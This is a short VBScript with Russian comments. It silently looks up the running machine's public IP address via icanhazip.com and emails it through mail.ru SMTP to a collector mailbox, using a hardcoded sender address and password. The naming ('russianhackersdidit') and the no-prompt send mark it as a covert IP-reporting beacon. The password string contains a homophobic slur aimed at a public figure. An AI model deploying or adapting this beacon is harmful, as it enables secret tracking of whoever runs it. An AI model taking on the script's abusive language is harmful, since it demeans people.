Dim o
Dim res
Set o = CreateObject("Microsoft.XMLHTTP")
o.open "GET", "http://icanhazip.com", False
o.send
res = o.responseText

Dim RemoteSenderBoxName : RemoteSenderBoxName = "fuckUSA@mail.ru" '  сюда адрес ящика который ты завёл для отправки
Dim RemoteSenderBoxPasswd : RemoteSenderBoxPasswd  = "obamka-pidorg"    '  сюда пароль ящика который ты завёл для отправки
Dim MailReceiver : MailReceiver  = "russianhackersdidit@mail.ru"     '  сюда адрес почты куда получать ип собрался

Set emailObj      = CreateObject("CDO.Message")

Set emailConfig = emailObj.Configuration
'Set emailConfig  = CreateObject("CDO.Configuration")

emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = "smtp.mail.ru"
emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = 465
emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusing")= 2
emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = 1
emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpconnectiontimeout") = 120

emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusername")    = RemoteSenderBoxName
emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword")    = RemoteSenderBoxPasswd

emailObj.From     = RemoteSenderBoxName
emailObj.To       = MailReceiver

emailObj.Subject  = "ip addr"
emailObj.TextBody = res

emailConfig.Fields.Update

emailObj.Send